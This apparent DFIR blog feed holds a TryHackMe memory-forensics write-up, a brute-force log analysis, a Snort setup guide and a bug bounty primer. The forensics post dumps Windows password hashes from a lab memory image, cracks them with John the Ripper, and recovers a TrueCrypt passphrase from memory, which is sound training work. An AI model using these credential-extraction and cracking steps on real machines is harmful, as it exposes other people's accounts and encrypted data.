<p><a target="_blank" href="https://github.com/ANSSI-FR/bmc-tools/">ANSSI-FR/bmc-tools: RDP Bitmap Cache parser</a></p>
<p><a target="_blank" href="https://github.com/BSI-Bund/RdpCacheStitcher">BSI-Bund/RdpCacheStitcher: RdpCacheStitcher is a tool that supports forensic analysts in reconstructing useful images out of RDP cache bitmaps.</a></p>
<p><a target="_blank" href="https://youtu.be/9P845AMjJF0?si=OKuf839Dq8woOVFq">https://youtu.be/9P845AMjJF0?si=OKuf839Dq8woOVFq</a></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe: Memory Forensics]]></title><description><![CDATA[Task 1: Introduction
This challenge involves performing memory forensics to extract valuable artifacts and uncover hidden data from a provided memory dump. If you’re new to memory forensics, it’s recommended to explore the Volatility room first to fa...]]></description><link>https://www.dfirpro.in/tryhackme-memory-forensics-9ac684176460</link><guid isPermaLink="true">https://www.dfirpro.in/tryhackme-memory-forensics-9ac684176460</guid><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Tue, 24 Dec 2024 12:51:54 GMT</pubDate><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893581478/2839ebdc-afba-417a-b559-e7db14678578.jpeg" alt /></p>
<h3 id="heading-task-1-introduction">Task 1: Introduction</h3>
<p>This challenge involves performing memory forensics to extract valuable artifacts and uncover hidden data from a provided memory dump. If you’re new to memory forensics, it’s recommended to explore the <a target="_blank" href="https://tryhackme.com/room/volatility">Volatility</a> room first to familiarize yourself with the tool.</p>
<blockquote>
<p><strong><em>Note*</em></strong>: The attached memory dump file for each task is approximately 1.07 GB in size.*</p>
</blockquote>
<h3 id="heading-task-2-login">Task 2: Login</h3>
<p>As a forensic investigator, you’ve been provided with a memory dump from the suspect’s computer. Your task is to find John’s password by analyzing the dump.</p>
<p>What is John’s password?</p>
<h3 id="heading-steps">Steps:</h3>
<ol>
<li><strong>Identify the profile</strong> of the memory dump:</li>
</ol>
<p>In this step, we use the <code>imageinfo</code> command to determine the correct OS profile, which is crucial for ensuring accurate Volatility analysis.</p>
<p>volatility -f Snapshot6_1609157562389.vmem imageinfo<br />Volatility Foundation Volatility Framework 2.6.1<br />INFO    : volatility.debug    : Determining profile based on KDBG search...<br />          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418<br />                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)<br />                     AS Layer2 : FileAddressSpace (/memory-dumps/Snapshot6_1609157562389.vmem)<br />                      PAE type : No PAE<br />                           DTB : 0x187000L<br />                          KDBG : 0xf80002c4a0a0L<br />          Number of Processors : 1<br />     Image Type (Service Pack) : 1<br />                KPCR for CPU 0 : 0xfffff80002c4bd00L<br />             KUSER_SHARED_DATA : 0xfffff78000000000L<br />           Image date and time : 2020-12-27 06:20:05 UTC+0000<br />     Image local date and time : 2020-12-26 22:20:05 -0800</p>
<p>The output suggests possible profiles for the memory image. From the above I choose <code>Win7SP1x64</code> and start our investigation.</p>
<p><strong>2. Extract password hashes</strong>:</p>
<p>Here, we extract password hashes from the memory dump and save it to txt file for further password cracking.</p>
<p>volatility -f Snapshot6_1609157562389.vmem --profile=Win7SP1x64 hashdump &gt; hashes.txt  </p>
<p>cat hashes.txt<br />Volatility Foundation Volatility Framework 2.6.1<br />Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br />Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br />John:1001:aad3b435b51404eeaad3b435b51404ee:47fbd6536d7868c873d5ea455f2fc0c9:::<br />HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:91c34c06b7988e216c3bfeb9530cabfb::</p>
<p><strong>3. Crack the password</strong> using a wordlist:</p>
<p>Using tools like John the Ripper, the extracted hashes are cracked to reveal plaintext passwords. The success of this process heavily relies on the selection of an effective wordlist, such as <code>rockyou.txt</code>.</p>
<p>john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt  </p>
<p>Using default input encoding: UTF-8<br />Loaded 3 password hashes with no different salts (NT [MD4 128/128 SSE2 4x3])<br />Warning: no OpenMP support for this hash type, consider --fork=2<br />Press 'q' or Ctrl-C to abort, almost any other key for status<br />                 (Administrator)<br />[REDACTED]       (John)<br />2g 0:00:00:01 DONE (2024-12-24 11:56) 1.212g/s 8693Kp/s 8693Kc/s 14260KC/s      markinho..*7¡Vamos!<br />Warning: passwords printed above might not be all those cracked<br />Use the "--show --format=NT" options to display all of the cracked passwords reliably<br />Session completed. </p>
<p>Output: [Redacted]</p>
<h3 id="heading-task-3-analysis">Task 3: Analysis</h3>
<p>Analyze the second memory dump to determine key activities on the machine, including the last shutdown time and commands executed by the user.</p>
<p>When was the machine last shutdown?</p>
<h3 id="heading-steps-1">Steps:</h3>
<ol>
<li><strong>Identify the profile</strong>:</li>
</ol>
<p>volatility.py -f Snapshot19_1609159453792.vmem imageinfo<br />Volatility Foundation Volatility Framework 2.6.1<br />INFO    : volatility.debug    : Determining profile based on KDBG search...<br />          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418<br />                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)<br />                     AS Layer2 : FileAddressSpace (/memory-dumps/Snapshot19_1609159453792.vmem)<br />                      PAE type : No PAE<br />                           DTB : 0x187000L<br />                          KDBG : 0xf80002bfd0a0L<br />          Number of Processors : 1<br />     Image Type (Service Pack) : 1<br />                KPCR for CPU 0 : 0xfffff80002bfed00L<br />             KUSER_SHARED_DATA : 0xfffff78000000000L<br />           Image date and time : 2020-12-27 23:06:01 UTC+0000<br />     Image local date and time : 2020-12-28 00:06:01 +0100</p>
<p><strong>2. Find the last shutdown time</strong>:</p>
<p>The <code>shutdowntime</code> plugin reads the SYSTEM registry hive to locate the <code>ShutdownTime</code> value under <code>ControlSet001\Control\Windows</code>. This timestamp is an essential forensic artifact that reveals the last recorded system shutdown.</p>
<p>volatility -f Snapshot19_1609159453792.vmem --profile=Win7SP1x64 shutdowntime<br />Volatility Foundation Volatility Framework 2.6.1<br />Registry: SYSTEM<br />Key Path: ControlSet001\Control\Windows<br />Key Last updated: 2020-12-27 22:50:12 UTC+0000<br />Value Name: ShutdownTime<br />Value: [REDACTED] UTC+0000</p>
<p>Output: [Redacted]</p>
<p><strong>What did John write?</strong></p>
<h3 id="heading-steps-2">Steps:</h3>
<ol>
<li><strong>Extracting console commands executed by John:</strong></li>
</ol>
<p>The <code>consoles</code> plugin examines the command history stored in memory, revealing all commands executed in the terminal by the specified user or process. This provides a direct view of user activity, highlighting potentially suspicious behavior.</p>
<p>volatility -f /path/to/Snapshot19_1609159453792.vmem --profile=Win7SP1x64 consoles<br />Volatility Foundation Volatility Framework 2.6.1<br />**************************************************<br />ConsoleProcess: conhost.exe Pid: 2488<br />Console: 0xffa66200 CommandHistorySize: 50<br />HistoryBufferCount: 1 HistoryBufferMax: 4<br />OriginalTitle: %SystemRoot%\System32\cmd.exe<br />Title: Administrator: C:\Windows\System32\cmd.exe<br />AttachedProcess: cmd.exe Pid: 1920 Handle: 0x60<br />----<br />CommandHistory: 0x21e9c0 Application: cmd.exe Flags: Allocated, Reset<br />CommandCount: 7 LastAdded: 6 LastDisplayed: 6<br />FirstCommand: 0 CommandCountMax: 50<br />ProcessHandle: 0x60<br />Cmd #0 at 0x1fe3a0: cd /<br />Cmd #1 at 0x1f78b0: echo THM{[REDACTED]} &gt; test.txt<br />Cmd #2 at 0x21dcf0: cls<br />Cmd #3 at 0x1fe3c0: cd /Users<br />Cmd #4 at 0x1fe3e0: cd /John<br />Cmd #5 at 0x21db30: dir<br />Cmd #6 at 0x1fe400: cd John<br />----<br />Screen 0x200f70 X:80 Y:300<br />Dump:  </p>
<p>C:\&gt;cd /Users                                                                     </p>
<p>C:\Users&gt;cd /John<br />The system cannot find the path specified.                                        </p>
<p>C:\Users&gt;dir<br /> Volume in drive C has no label.<br /> Volume Serial Number is 1602-421F                                                </p>
<p> Directory of C:\Users                                                            </p>
<p>12/27/2020  02:20 AM              .<br />12/27/2020  02:20 AM              ..<br />12/27/2020  02:21 AM              John<br />04/12/2011  08:45 AM              Public<br />               0 File(s)              0 bytes<br />               4 Dir(s)  54,565,433,344 bytes free                                </p>
<p>C:\Users&gt;cd John                                                                  </p>
<p>C:\Users\John&gt; </p>
<p>Output: [REDACTED]</p>
<h3 id="heading-task-4-truecrypt">Task 4: TrueCrypt</h3>
<p>A common task of forensic investigators is looking for hidden partitions and encrypted files, as suspicion arose when TrueCrypt was found on the suspect’s machine and an encrypted partition was found. The interrogation did not yield any success in getting the passphrase from the suspect, however, it may be present in the memory dump obtained from the suspect’s computer.</p>
<p>What is the TrueCrypt passphrase?</p>
<h3 id="heading-steps-3">Steps:</h3>
<ol>
<li><strong>Identify the profile</strong>:</li>
</ol>
<p>volatility.py -f /memory-dumps/Snapshot14_1609164553061.vmem  imageinfo<br />Volatility Foundation Volatility Framework 2.6.1<br />INFO    : volatility.debug    : Determining profile based on KDBG search...<br />          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418<br />                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)<br />                     AS Layer2 : FileAddressSpace (/memory-dumps/Snapshot14_1609164553061.vmem)<br />                      PAE type : No PAE<br />                           DTB : 0x187000L<br />                          KDBG : 0xf80002c4d0a0L<br />          Number of Processors : 1<br />     Image Type (Service Pack) : 1<br />                KPCR for CPU 0 : 0xfffff80002c4ed00L<br />             KUSER_SHARED_DATA : 0xfffff78000000000L<br />           Image date and time : 2020-12-27 13:41:31 UTC+0000<br />     Image local date and time : 2020-12-27 05:41:31 -0800</p>
<p><strong>2. Extract the TrueCrypt passphrase</strong>:</p>
<p>The TrueCrypt passphrase stored in memory is retrieved using a specific plugin ”truecryptpassphrase”. This step highlights the importance of volatile memory analysis in uncovering encryption keys</p>
<p>volatility.py -f Snapshot14_1609164553061.vmem --profile=Win7SP1x64 truecryptpassphrase<br />Volatility Foundation Volatility Framework 2.6.1<br />Found at 0xfffff8800512bee4 length 11: [REDACTED]</p>
<p>Output: [REDACTED]</p>
]]></content:encoded></item><item><title><![CDATA[Bruteforce Writeup | Blue Team Labs Online]]></title><description><![CDATA[Scenario
Can you analyze logs from an attempted RDP brute-force attack?
One of our system administrators identified a large number of Audit Failure events in the Windows Security Event log. There are various ways to analyze these logs — consider usin...]]></description><link>https://www.dfirpro.in/bruteforce-writeup-blue-team-labs-online-3ed8d1944f01</link><guid isPermaLink="true">https://www.dfirpro.in/bruteforce-writeup-blue-team-labs-online-3ed8d1944f01</guid><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Mon, 25 Nov 2024 05:22:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893576307/b5cecb4a-58b7-46ea-9e00-2147180776ca.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-scenario">Scenario</h3>
<p><strong>Can you analyze logs from an attempted RDP brute-force attack?</strong></p>
<p>One of our system administrators identified a large number of Audit Failure events in the Windows Security Event log. There are various ways to analyze these logs — consider using the suggested tools, but feel free to explore other methods as well!</p>
<p><strong>File Formats Provided</strong><br />The challenge provided the event log data in three formats: <code>.csv</code>, <code>.evtx</code>, and <code>.txt</code>.</p>
<p>For this analysis, I chose the <code>.txt</code> format due to its simplicity and compatibility with command-line tools like <code>grep</code> and <code>awk</code>. While the <code>.csv</code> format is suited for spreadsheet tools, and the <code>.evtx</code> format works well with Windows Event Viewer, the plain-text format enabled a faster and more flexible analysis directly on the terminal.</p>
<h3 id="heading-1-how-many-audit-failure-events-are-there">1) How many Audit Failure events are there?</h3>
<p><strong>Format:</strong> Count of Events</p>
<p>cat BTLO_Bruteforce_Challenge.txt | grep -i "failure" | sort | uniq -c</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893566631/76f46878-cf11-4b61-b201-5838a921a3b5.png" alt /></p>
<p><strong>Answer:</strong> 3103</p>
<h3 id="heading-2-what-is-the-username-of-the-local-account-being-targeted">2) What is the username of the local account being targeted?</h3>
<p><strong>Format:</strong> Username</p>
<p>cat BTLO_Bruteforce_Challenge.txt | less</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893568448/3ee32eb0-0fb3-4141-ba67-b2ceec02f56c.png" alt /></p>
<p><strong>Answer:</strong> <code>administrator</code></p>
<h3 id="heading-3-what-is-the-failure-reason-related-to-the-audit-failure-logs">3) What is the failure reason related to the Audit Failure logs?</h3>
<p><strong>Format:</strong> String</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893570320/6f4c26af-a16b-42b6-be1a-a52379393fa4.png" alt /></p>
<p><strong>Answer:</strong> <code>Unknown user name or bad password</code></p>
<h3 id="heading-4-what-is-the-windows-event-id-associated-with-these-logon-failures">4) What is the Windows Event ID associated with these logon failures?</h3>
<p><strong>Format:</strong> ID</p>
<p>The Windows Event logs assign a unique Event ID to each event. Event ID <code>4624</code> corresponds to a successful logon, while Event ID <code>4625</code> corresponds to a failed logon attempt.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893571937/4a91bb7a-567c-4ef4-bcbd-8047a7ab8e37.png" alt /></p>
<p><strong>Answer:</strong> <code>4625</code></p>
<h3 id="heading-5-what-is-the-source-ip-conducting-this-attack">5) What is the source IP conducting this attack?</h3>
<p><strong>Format:</strong> X.X.X.X</p>
<p>cat BTLO_Bruteforce_Challenge.txt | grep "Source Network Address" | sort | uniq -c</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893573226/a50fff8e-6799-4623-a3b7-2fa90354685c.png" alt /></p>
<p>The <code>grep</code> command searches for lines containing "Source Network Address," which represents the IP address of the attacker. Sorting and filtering unique values help pinpoint the exact source.</p>
<p><strong>Answer:</strong> <code>113.161.192.227</code></p>
<h3 id="heading-6-what-country-is-this-ip-address-associated-with">6) What country is this IP address associated with?</h3>
<p><strong>Format:</strong> Country</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893574793/0fc695e4-256a-4069-aa5d-4de48ae09039.png" alt /></p>
<p>By querying the IP address <code>113.161.192.227</code> in <a target="_blank" href="https://search.censys.io/">Censys</a>, we determined that the attacker originated from <strong>Vietnam</strong>. <a target="_blank" href="https://search.censys.io/">Censys</a> provides detailed metadata, including geolocation, which helps identify the source country of the IP.</p>
<p><strong>Answer:</strong> <code>Vietnam</code></p>
<h3 id="heading-7-what-is-the-range-of-source-ports-used-by-the-attacker-to-make-these-login-requests">7) What is the range of source ports used by the attacker to make these login requests?</h3>
<p><strong>Format:</strong> LowestPort-HighestPort (e.g., 100–541)</p>
<p><strong>Answer:</strong> <code>4916-65534</code></p>
]]></content:encoded></item><item><title><![CDATA[Installing and Configuring Snort on Ubuntu]]></title><description><![CDATA[Introduction
Snort is a powerful open-source intrusion detection and prevention system that analyzes network traffic in real-time. In this blog, I will guide you through the installation and configuration of Snort on Ubuntu. By the end of this post, ...]]></description><link>https://www.dfirpro.in/installing-and-configuring-snort-on-ubuntu-1f2b86c2943e</link><guid isPermaLink="true">https://www.dfirpro.in/installing-and-configuring-snort-on-ubuntu-1f2b86c2943e</guid><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Mon, 16 Sep 2024 14:10:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893610130/64c231eb-4619-4cbb-b20c-391731628c1a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduction">Introduction</h3>
<p>Snort is a powerful open-source intrusion detection and prevention system that analyzes network traffic in real-time. In this blog, I will guide you through the installation and configuration of Snort on Ubuntu. By the end of this post, you’ll be able to detect and analyze network threats using Snort’s customizable rule sets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893590502/1a37d5b8-a0dd-439e-9d33-21c6b7dbd39d.jpeg" alt /></p>
<h3 id="heading-installing-snort-on-ubuntu">Installing Snort on Ubuntu</h3>
<h3 id="heading-step-1-install-snort">Step 1: Install Snort</h3>
<p>To begin, you can install Snort on your Ubuntu virtual machine (VM) using the following command:</p>
<p>sudo apt-get install snort -y</p>
<p>During the installation process, Snort will prompt you to specify the network address range for your local network (as shown below). This setting allows Snort to know what range of IP addresses it should monitor, typically known as <code>HOME_NET</code>.</p>
<p>You will be asked to provide a CIDR block to define your network. A common CIDR for a local network is <code>192.168.1.0/24</code>. In my case, I used <code>10.0.2.0/24</code> as I’m using a virtualized environment (as seen in the image).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893592504/784c2d00-4490-4ef1-944b-d3b4cbd9c7ba.png" alt /></p>
<p>After the installation is complete, verify the version of Snort using</p>
<p>snort --version</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893594057/dc3a5ab6-10eb-40ad-9d8e-270c8e1831c7.png" alt /></p>
<h3 id="heading-step-2-enable-promiscuous-mode">Step 2: Enable Promiscuous Mode</h3>
<p>Snort needs your network interface to be in promiscuous mode to capture all network traffic. To enable this, run the following command</p>
<p>If you’re running Ubuntu as your main OS, this command will help enable promiscuous mode for your network interface.</p>
<p>sudo ip link set enp0s3 promisc mode on</p>
<h3 id="heading-step-3-snort-directory-and-configuration-files">Step 3: Snort Directory and Configuration Files</h3>
<p>Once installed, Snort’s default directory is <code>/etc/snort</code>. Make a copy of the <code>snort.conf</code> file before editing it, as this configuration will define how Snort functions. In the configuration file, specify the network you want to monitor by setting the variable <code>ipvar HOME_NET</code> to your network's IP range.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893595745/8c5145b0-7281-47f4-aa1d-7202901f9bbb.png" alt /></p>
<h3 id="heading-customizing-snort-rules">Customizing Snort Rules</h3>
<h3 id="heading-step-4-rules-directory">Step 4: Rules Directory</h3>
<p>Snort uses rules to detect suspicious traffic. You can find Snort’s default rules in <code>/etc/snort/rules</code>. Local, user-defined rules can be found in <code>local.rules</code>. These rules will help you customize Snort to monitor specific network events.</p>
<h3 id="heading-step-5-creating-custom-rules">Step 5: Creating Custom Rules</h3>
<p>Let’s create a custom rule to detect ICMP pings. Open the <code>local.rules</code> file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893597651/e7683733-a42d-4f20-ae3c-c344d3fad6f1.png" alt /></p>
<p>and add the following rule:</p>
<p>alert icmp any any -&gt; $HOME_NET any (msg: "ICMP PING DETECTED"; sid:1000001; rev:1;)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893599238/0e34fd86-3a5a-448b-9e62-55f6687d65bc.png" alt /></p>
<p>This rule will trigger an alert when any ICMP ping request is detected on your network.</p>
<p>Once the rule is in place, you can test your configuration by running Snort. If Snort detects ICMP traffic (like a ping), it will generate an alert based on this rule.</p>
<p>Save the rule and proceed to the next step.</p>
<h4 id="heading-adding-community-rules">Adding Community Rules</h4>
<p>In addition to writing your own rules, you can also download <strong>Snort Community Rules</strong> and add them to your <code>local.rules</code> file. The community rules are open-source and maintained by Snort, providing a solid baseline for network monitoring and threat detection.</p>
<p>Here’s how you can download and add them:</p>
<ol>
<li>Download the Snort community rules by visiting the <a target="_blank" href="https://www.snort.org/"><strong>Snort</strong></a> <strong>website.</strong></li>
<li>Unpack the rules and place them in the <code>rules/</code> directory on your system.</li>
<li>Open the <code>local.rules</code> file and include any relevant community rules by copying them from the downloaded rule set and pasting them into your <code>local.rules</code>.</li>
</ol>
<p>This will allow you to leverage both your custom rules and a robust set of predefined community rules for enhanced detection capabilities.</p>
<h3 id="heading-step-6-run-snort">Step 6: Run Snort</h3>
<p>To start Snort, run the following command:</p>
<p>sudo snort -q -l /var/log/snort -i enp0s3 -A console -c /etc/snort/snort.conf</p>
<ul>
<li><code>-l</code> specifies the directory where log files are stored.</li>
<li><code>-i</code> identifies the interface to monitor.</li>
<li><code>-A console</code> sends alerts to the console.</li>
<li><code>-c /etc/snort/snort.conf</code>: Instructs Snort to use the configuration file located at <code>**/etc/snort/snort.conf**</code></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893600704/62abb0f0-6a3f-400b-9a43-02296adf0883.png" alt /></p>
<p>You should see alerts in real time when you generate network activity, like a ping.</p>
<h3 id="heading-pinging-from-kali-vm">Pinging from Kali VM</h3>
<p>For demonstration, let’s ping your Ubuntu VM from another virtual machine (Kali) that shares the same network interface. When the ping is executed, Snort should generate an alert on the Ubuntu VM.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893602783/5402b7d6-ecb4-4540-b792-9ea72d0d9971.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893604834/f6036245-a136-4d47-9b55-7df894ee1439.png" alt /></p>
<h3 id="heading-viewing-alerts-with-wireshark">Viewing Alerts with Wireshark</h3>
<p>Snort logs packet captures in the <code>/var/log/snort</code> directory. These logs can be viewed with tools like <strong>Wireshark</strong>, which provides a detailed breakdown of captured packets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893606645/fbaf3816-140d-44db-957c-9f89ec009fe5.png" alt /></p>
<h3 id="heading-automating-with-snorpy">Automating with Snorpy</h3>
<p>Creating rules by hand can be tedious, but <strong>Snorpy</strong>, an online rule generator, simplifies this process. You can generate complex Snort rules easily using Snorpy’s graphical interface.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893608552/989ab84e-77b9-4a0d-bdaf-7db1fc2ca7b3.png" alt /></p>
<h3 id="heading-advanced-logging-with-syslog-and-splunk">Advanced Logging with Syslog and Splunk</h3>
<p>To avoid cluttering the console with alerts, switch to the <code>fast</code> option:</p>
<p>-A fast</p>
<p>This will log alerts in syslog format, which can be integrated with tools like <strong>Splunk</strong> for more advanced network analysis and monitoring.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Setting up Snort allows you to gain visibility into your network and detect potential security threats. With custom rules and proper logging, Snort becomes a powerful tool in your security toolkit. Whether you are learning intrusion detection or deploying a robust defense system, Snort’s flexibility makes it a must-know tool for network security.</p>
<p>Stay tuned for my next post, where I’ll dive deeper into creating complex Snort rules and integrating it with advanced monitoring systems.</p>
<p>If you’re interested in more tips and resources, feel free to follow me on my blog or <a target="_blank" href="https://www.linkedin.com/in/kanishkar-m-b18486240/">Linked-In</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Introduction to Bug Bounty Hunting]]></title><description><![CDATA[1. Introduction
In the modern cybersecurity landscape, bug bounty hunting has become a popular way for ethical hackers to discover and report security vulnerabilities in exchange for rewards. As companies focus on securing their products, bug bounty ...]]></description><link>https://www.dfirpro.in/introduction-to-bug-bounty-hunting-183f133c7d0d</link><guid isPermaLink="true">https://www.dfirpro.in/introduction-to-bug-bounty-hunting-183f133c7d0d</guid><dc:creator><![CDATA[kanishkar mathi]]></dc:creator><pubDate>Wed, 11 Sep 2024 04:58:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754893586917/7049a3b1-40ae-40f9-9a6e-0fd0544ff51a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-1-introduction">1. Introduction</h3>
<p>In the modern cybersecurity landscape, bug bounty hunting has become a popular way for ethical hackers to discover and report security vulnerabilities in exchange for rewards. As companies focus on securing their products, bug bounty programs provide a collaborative way to identify weaknesses before malicious hackers exploit them.</p>
<p>I started my journey into bug bounty hunting through platforms like Bugcrowd, where I could test my skills and help companies secure their applications. In this blog, I will walk you through the basics of bug bounty hunting and how to get started.</p>
<h3 id="heading-2-what-is-bug-bounty-hunting">2. What is Bug Bounty Hunting?</h3>
<p>Bug bounty hunting is the practice of finding and reporting bugs in software or websites. These bugs can range from minor issues to critical vulnerabilities that expose sensitive data. Companies offer financial rewards, or bounties, for legitimate bug reports.</p>
<p>The idea of bug bounties first gained traction in 1995 when Netscape started its own program. Today, bug bounty programs are run by some of the largest companies, including Google, Facebook, and Microsoft. The rise of bug bounty platforms has opened this field to thousands of hackers worldwide.</p>
<h3 id="heading-3-how-do-bug-bounty-programs-work">3. How Do Bug Bounty Programs Work?</h3>
<p>In a typical bug bounty program, ethical hackers follow a structured process:</p>
<ul>
<li><strong>Signing up</strong>: You register on platforms like Bugcrowd, HackerOne, or Synack.</li>
<li><strong>Choosing a target</strong>: Select a program based on scope and rules.</li>
<li><strong>Hunting for bugs</strong>: Use tools and manual techniques to find vulnerabilities.</li>
<li><strong>Reporting</strong>: Submit detailed reports, including reproduction steps and impact assessment.</li>
<li><strong>Receiving rewards</strong>: If the bug is valid, you’ll receive a bounty based on its severity.</li>
</ul>
<p>Each program has its own scope, outlining what parts of the application can be tested. It’s important to read the program rules to avoid overstepping boundaries.</p>
<h3 id="heading-4-common-types-of-vulnerabilities">4. Common Types of Vulnerabilities</h3>
<p>Bug bounty hunters typically focus on vulnerabilities that pose security risks. Here are some common ones:</p>
<ul>
<li><strong>Cross-Site Scripting (XSS)</strong>: An attacker injects malicious scripts into a web page, affecting other users.</li>
<li><strong>SQL Injection (SQLi)</strong>: Attackers exploit databases by inserting malicious SQL queries.</li>
<li><strong>Server-Side Request Forgery (SSRF)</strong>: The attacker forces a server to make unauthorized requests.</li>
<li><strong>Cross-Site Request Forgery (CSRF)</strong>: Exploits a user’s session to make unwanted actions.</li>
<li><strong>Open Redirect</strong>: Redirecting users to malicious sites by manipulating URL parameters.</li>
<li><strong>Authentication flaws</strong>: Issues with login mechanisms, such as broken authentication or session management.</li>
</ul>
<h3 id="heading-5-tools-of-the-trade">5. Tools of the Trade</h3>
<p>Bug bounty hunting often requires a combination of manual techniques and automated tools. Here are some commonly used tools:</p>
<p><strong>Reconnaissance tools</strong>:</p>
<ul>
<li><strong>Amass</strong>: Gathers subdomain information for target identification.</li>
<li><strong>Sublist3r</strong>: Automates subdomain enumeration.</li>
</ul>
<p><strong>Web application testing tools</strong>:</p>
<ul>
<li><strong>Burp Suite</strong>: A powerful tool for testing web applications, with features like scanning and proxying requests.</li>
<li><strong>OWASP ZAP</strong>: An open-source alternative to Burp Suite.</li>
</ul>
<p><strong>Automation</strong>:</p>
<ul>
<li><strong>Pwntools</strong>: A Python library I often use for automating interactions with remote services.</li>
</ul>
<p><strong>Other tools</strong>:</p>
<ul>
<li><strong>Wireshark</strong>: For network packet analysis.</li>
<li><strong>Nmap</strong>: For scanning and enumerating network services.</li>
</ul>
<p>Each of these tools has a learning curve, but once mastered, they can be highly effective in bug bounty hunting.</p>
<h3 id="heading-6-getting-started-as-a-bug-hunter">6. Getting Started as a Bug Hunter</h3>
<p>Starting as a bug hunter can be overwhelming, but with the right approach, you can gradually build your skills. Here are a few steps to get started:</p>
<ul>
<li><strong>Learning resources</strong>: Begin by taking online courses (like the ones on Udemy or Coursera) and reading books about web application security and vulnerabilities.</li>
<li><strong>Join platforms</strong>: Platforms like HackerOne and Bugcrowd offer a range of programs, from beginner-friendly to advanced.</li>
<li><strong>Practice</strong>: Play Capture the Flag (CTF) challenges on platforms like Hack The Box and TryHackMe to sharpen your skills.</li>
<li><strong>Stay patient</strong>: Bug hunting requires persistence. Many experienced hunters go through several targets before finding a valid bug.</li>
</ul>
<h3 id="heading-7-mistakes-to-avoid">7. Mistakes to Avoid</h3>
<p>When you’re starting out, it’s easy to make mistakes. Here are some common pitfalls:</p>
<ul>
<li><strong>Ignoring program scope</strong>: Always read and understand the program rules to avoid hunting in out-of-scope areas.</li>
<li><strong>Causing outages</strong>: Be cautious with aggressive testing, as actions like DDoSing can crash servers.</li>
<li><strong>Poor reporting</strong>: Make sure your reports are well-written, with clear reproduction steps. Submitting vague reports may lead to rejections.</li>
</ul>
<p>Avoiding these mistakes will help you build a solid reputation in the bug bounty community.</p>
<h3 id="heading-8-resources-for-learning-bug-bounty-hunting">8. Resources for Learning Bug Bounty Hunting</h3>
<p>Here are some excellent resources for learning and improving your bug hunting skills:</p>
<p><strong>Books</strong>:</p>
<ul>
<li>[<em>Bug Bounty Hunting Essentials: Quick-paced guide to help white-hat hackers get through bug bounty programs</em>](https://www.amazon.com/dp/1788626893?tag=savvyprogrammer-20&amp;linkCode=ogi&amp;th=1&amp;psc=1 "Bug Bounty Hunting Essentials: Quick-paced guide to help white-hat hackers get through bug bounty programs")</li>
<li>[<em>Real-World Bug Hunting: A Field Guide to Web Hacking</em>](https://www.amazon.com/dp/1593278616?tag=savvyprogrammer-20&amp;linkCode=ogi&amp;th=1&amp;psc=1 "Real-World Bug Hunting: A Field Guide to Web Hacking")</li>
</ul>
<p><strong>Online Communities</strong>:</p>
<ul>
<li>Twitter (#bugbounty) for networking.</li>
<li>Reddit’s bug bounty community.</li>
</ul>
<p><strong>CTF platforms</strong>:</p>
<ul>
<li><strong>Hack The Box</strong> and <strong>TryHackMe</strong>: These platforms offer practical, hands-on challenges that simulate real-world environments.</li>
</ul>
<h3 id="heading-9-my-personal-tips-and-insights">9. My Personal Tips and Insights</h3>
<p>As someone who has been hunting for bugs for a while, I’ve picked up a few things that might help you:</p>
<p><strong>Be thorough</strong>: Don’t rush through testing. Dig deep into the application’s functionality to uncover hidden bugs.</p>
<ul>
